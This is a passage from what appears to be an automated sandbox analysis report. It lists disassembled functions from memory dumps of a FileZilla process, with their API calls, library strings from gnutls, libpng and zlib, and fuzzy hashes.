Opcode Fuzzy Hash: 442bb0c9615c1ca01664a650e8e8c301ec932f2c6208c6a1db5c91c52a42ba77
Instruction Fuzzy Hash: 7931ABB77067908AEB1ACB62B50079AE6A0F785BD8F088824CF680B344EB3CD591C340

Function 6155CE60 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6155CEBA
MultiByteToWideChar.KERNEL32 ref: 6155CEFA

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: b23d407245cfaaa67d7b2587c2d2f933ff33c2314095ce7e2b4c64581e4664d8
Instruction ID: dbe7e3ecd716e2d1f26b5617237005bdb402c677fd4dded4883c898c5c25d427
Opcode Fuzzy Hash: b23d407245cfaaa67d7b2587c2d2f933ff33c2314095ce7e2b4c64581e4664d8
Instruction Fuzzy Hash: EA3188723096808AE3518F69F40034EBBA9FB95798F84C116EAA487B94DB7DC5A5CB40

Function 615885E0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 6158863A
MultiByteToWideChar.KERNEL32 ref: 6158867A

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: fd7c5c97e87180a9aaac9bd90a82ab50e6334da4fe0cf6821ca3fbb2bf853a5e
Instruction ID: 120fd4b502750bedbb226ca62d3209bbd3aef1bca48a0d6e158efa400c8f686d
Opcode Fuzzy Hash: fd7c5c97e87180a9aaac9bd90a82ab50e6334da4fe0cf6821ca3fbb2bf853a5e
Instruction Fuzzy Hash: 5C31D8723086908AE3618F69F40034DBAA0F7A1798F48C215DEE487794DB3EC455DB02

Function 00007FF81FA2FF90 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF81FA30038

Strings

append_from_iov, xrefs: 00007FF81FA3007B, 00007FF81FA300B7
crypto-api.c, xrefs: 00007FF81FA30082, 00007FF81FA300BE
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA3008E, 00007FF81FA300CA

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: ASSERT: %s[%s]:%d$append_from_iov$crypto-api.c
API String ID: 3510742995-1410136978
Opcode ID: 3dcd249e8544af323a75bf97411cdf082d54bf4852ec26542a9a273b9ac66691
Instruction ID: 794486dfc9ea52a90cbd62e70c9522d52931957221e7da5bf5bfb3e1a1abc2f5
Opcode Fuzzy Hash: 3dcd249e8544af323a75bf97411cdf082d54bf4852ec26542a9a273b9ac66691
Instruction Fuzzy Hash: 6B319066F89E46D2FA249B05E8511B82261FF467ECF488731DA1D03799DF3CE591C300

Function 00007FF81FA34FA0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 88COMMON

Download Yara Rule

Strings

privkey.c, xrefs: 00007FF81FA350A7, 00007FF81FA350D3
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA350B3, 00007FF81FA350DF
gnutls_privkey_decrypt_data2, xrefs: 00007FF81FA350A0, 00007FF81FA350CC

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID:
String ID: ASSERT: %s[%s]:%d$gnutls_privkey_decrypt_data2$privkey.c
API String ID: 0-2991246318
Opcode ID: 35930d65375d4c005cdb433b765a9d85b2f56759926413ea30e1c2bdc96d9796
Instruction ID: 01d9fa8c2f5f884d6f49cf191779626c3d9d09067ad02ef4e0a08b18d47e3b0f
Opcode Fuzzy Hash: 35930d65375d4c005cdb433b765a9d85b2f56759926413ea30e1c2bdc96d9796
Instruction Fuzzy Hash: 0E31A776A0DE468AF6208B09E8111796361FB85FE8F584332DE4D077A4CF3EE982D741

Function 00007FF81FA61F80 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF81FA6207E

Strings

ASSERT: %s[%s]:%d, xrefs: 00007FF81FA6204F, 00007FF81FA620AB
common.c, xrefs: 00007FF81FA62043, 00007FF81FA6209F
_gnutls_x509_export_int_named, xrefs: 00007FF81FA6203C, 00007FF81FA62098

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: ASSERT: %s[%s]:%d$_gnutls_x509_export_int_named$common.c
API String ID: 3510742995-3570430612
Opcode ID: b3c627309726bc9d6b0042d3963dd07cb0229f0236ff605dbd45aa8793905cc5
Instruction ID: e074f43bd142fcc155abab833d4569997a7ad9d409b89f5480e8c78749fc472e
Opcode Fuzzy Hash: b3c627309726bc9d6b0042d3963dd07cb0229f0236ff605dbd45aa8793905cc5
Instruction Fuzzy Hash: D9313872A0CE8682E7608B55F5963A977A2FB447E8F814332EA4E47794CF3CE804C711

Function 00007FF81FA300E0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF81FA30133

Strings

crypto-api.c, xrefs: 00007FF81FA3017F
copy_to_iov, xrefs: 00007FF81FA30178
ASSERT: %s[%s]:%d, xrefs: 00007FF81FA3018B

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: memcpy
String ID: ASSERT: %s[%s]:%d$copy_to_iov$crypto-api.c
API String ID: 3510742995-1529365870
Opcode ID: b70071d5942d56c8fe2e72f8bfcf7a1c82018643770e18f56ec5f248886cc998
Instruction ID: 8bcc6b682fffaa2f6e3aa6d471ec98d090c8330b9ef6f8d52ccad3df969ce7c3
Opcode Fuzzy Hash: b70071d5942d56c8fe2e72f8bfcf7a1c82018643770e18f56ec5f248886cc998
Instruction Fuzzy Hash: 5411C462B88E5681FA619A15AD025756651BF44BFCF848331DD0D17791DA3CE8C28300

Function 61547010 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

inflate.ZLIB1 ref: 615470CE

Strings

zstream unclaimed, xrefs: 6154717D
invalid window size (libpng), xrefs: 61547193

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: inflate
String ID: invalid window size (libpng)$zstream unclaimed
API String ID: 3919641094-2932251793
Opcode ID: 4089f34079dd0e5c0664a1aad64eee3e8b54e677777fcbebdff16f1746b4e7e5
Instruction ID: 8b1957ea4233971c1bfe6b890aaa296be3318f3375085c5effacf58a0c765f4a
Opcode Fuzzy Hash: 4089f34079dd0e5c0664a1aad64eee3e8b54e677777fcbebdff16f1746b4e7e5
Instruction Fuzzy Hash: 89311436707A9089E755CF29D808BDEB7A6F385B90F9AD5298E2C57740FF398042C740

Function 61546DC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

inflateValidate.ZLIB1(?,?,?,?,?,?,?,?,?,00000005), ref: 61546ECA

Strings

using zstream, xrefs: 61546F15
1.2.11, xrefs: 61546E96

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: Validateinflate
String ID: using zstream$1.2.11
API String ID: 3564174286-1952693148
Opcode ID: 92bac2266fe9d55302a576d04d102ef266769e5a8bbb5d0a6a5709d86d60eb57
Instruction ID: 930d54c52d3b6c85399d4af1804a2990e4d5a3a274978db57d9f195806e3d6e3
Opcode Fuzzy Hash: 92bac2266fe9d55302a576d04d102ef266769e5a8bbb5d0a6a5709d86d60eb57
Instruction Fuzzy Hash: 9B31CE366047D29AE752CB25D81CBCBB7EAF7C978CFC581158E848B240CB39CA56C740

Function 61537CB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

longjmp.MSVCRT ref: 61537CFC
abort.MSVCRT ref: 6155D790

Strings

bad longjmp: , xrefs: 61537D0D

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: abortlongjmp
String ID: bad longjmp:
API String ID: 3865597341-1348530612
Opcode ID: dd00a4d6f49dffaca789ad9e164416befd813ae5ec051fd78ffc7fc1b5e7d4b6
Instruction ID: f55295a2a87a4c955e0dca3b438d78d07c400b8e9c5ff7762b15f907cc0172f3
Opcode Fuzzy Hash: dd00a4d6f49dffaca789ad9e164416befd813ae5ec051fd78ffc7fc1b5e7d4b6
Instruction Fuzzy Hash: B2F0F663712655C1EB64C7628814FD997A6FBCAB84F94D8219E2D4B700EF39CC118340

Function 61538D70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

atof.MSVCRT ref: 61538DEF

Strings

sCAL width, xrefs: 61538DC8
sCAL height, xrefs: 61538DF4

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: atof
String ID: sCAL height$sCAL width
API String ID: 3079814387-3400658034
Opcode ID: 88af75a56a906b839945602959c2a4cd59f33fcbe009f0dcc69b81aa357db11d
Instruction ID: ddacfd863ba9fc9610dbcef0d93c6eb0907f9fa1be19af054984ba7f6334f25d
Opcode Fuzzy Hash: 88af75a56a906b839945602959c2a4cd59f33fcbe009f0dcc69b81aa357db11d
Instruction Fuzzy Hash: 9201DFB2611A8089DB4ACBA5E45039DF7A0FBD4B80F449A22DE49C7710EB38C4E0D740

Function 00007FF81FB120C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_wassert.MSVCRT ref: 00007FF81FB12144

Strings

gost/gost28147.c, xrefs: 00007FF81FB12136
!(length % GOST28147_BLOCK_SIZE), xrefs: 00007FF81FB1213D

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _wassert
String ID: !(length % GOST28147_BLOCK_SIZE)$gost/gost28147.c
API String ID: 3234217646-2562672582
Opcode ID: 5251538b1ec33c0123b653740e9894b5770c3fa69e20ade4ae336d862824bfdd
Instruction ID: e9599b50db8c99c36b4c74f563da7dc9c171325fc202ce5e9d374d9502b170c5
Opcode Fuzzy Hash: 5251538b1ec33c0123b653740e9894b5770c3fa69e20ade4ae336d862824bfdd
Instruction Fuzzy Hash: 1E01D1A2F0CE0584EE30DB15F9445A86BA0BB69BE8F484230EF8C07764EE2CD591C700

Function 00007FF81FB12010 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

_wassert.MSVCRT ref: 00007FF81FB12064

Strings

key, xrefs: 00007FF81FB1205D
gost/gost28147.c, xrefs: 00007FF81FB12056

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _wassert
String ID: gost/gost28147.c$key
API String ID: 3234217646-2157684501
Opcode ID: 0402fc47957ebcd8f89ee921dbc5481244d5d19386cb8ef46f5e2ea1e9295d2d
Instruction ID: b40ba495981e37b1ff6c99da3936a7549b495c9316e800289ff3bcf01c2b4c75
Opcode Fuzzy Hash: 0402fc47957ebcd8f89ee921dbc5481244d5d19386cb8ef46f5e2ea1e9295d2d
Instruction Fuzzy Hash: D0F0E5F5B0CD0186EF758B11F8041786660FB197E4F859731D90E02354DA2CA886C700

Function 00007FF81FB12070 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

_wassert.MSVCRT ref: 00007FF81FB120AC

Strings

param, xrefs: 00007FF81FB120A5
gost/gost28147.c, xrefs: 00007FF81FB1209E

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _wassert
String ID: gost/gost28147.c$param
API String ID: 3234217646-3845970717
Opcode ID: f6aa8979872a577b356fb3383a41aafc5f07fb8abd01777f9c29f524cfc34533
Instruction ID: dde3652469570ab4f37db090d3f2315bf606806dc10a0684ba7ba9849539866b
Opcode Fuzzy Hash: f6aa8979872a577b356fb3383a41aafc5f07fb8abd01777f9c29f524cfc34533
Instruction Fuzzy Hash: 95E012F1A09D16D5DE749B21F8440697764FB087E0B948230D94D46764EF2CE986D700

Function 615771F0 Relevance: 5.2, APIs: 4, Instructions: 156COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 615773B7
memcpy.MSVCRT ref: 615773CB
memcpy.MSVCRT ref: 615773DF
memcpy.MSVCRT ref: 615773F0

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: ae118dab85784163ef952f6b543f84af3e6159491cae17ea4cf9b8d03ed9fdbd
Instruction ID: ac88255658370e9e080bdc2436ec5c2ae140d1428eabe85e89bf85c7de8668eb
Opcode Fuzzy Hash: ae118dab85784163ef952f6b543f84af3e6159491cae17ea4cf9b8d03ed9fdbd
Instruction Fuzzy Hash: 16518B7B611B8086EB15CF6AE448B9D3BA5F789B98F049225DF6C07B98EF35C590C340

Function 6155C5A0 Relevance: 5.1, APIs: 4, Instructions: 125COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 6155C632
LeaveCriticalSection.KERNEL32 ref: 6155C752

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: CriticalLeaveSectionfree
String ID:
API String ID: 1679108487-0
Opcode ID: 91f9f88ae4beb1982530fa1033e8de2a26d3dc3f8c902b4f7ca9039e41e3897e
Instruction ID: 3075194889cb17efb82c716ef78edddb2c18a4bcc903f64b3691040492d749f3
Opcode Fuzzy Hash: 91f9f88ae4beb1982530fa1033e8de2a26d3dc3f8c902b4f7ca9039e41e3897e
Instruction Fuzzy Hash: B541D431302F10C1EA85DB99AA0435EE699B786BD8F8CD427CD1A07B60EF75D5B2C381

Function 61587D20 Relevance: 5.1, APIs: 4, Instructions: 125COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 61587DB2
LeaveCriticalSection.KERNEL32 ref: 61587ED2

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: CriticalLeaveSectionfree
String ID:
API String ID: 1679108487-0
Opcode ID: b98dc8abfc49e8193b9890662059d326cbe047bd615ac60801dc7c13148e626d
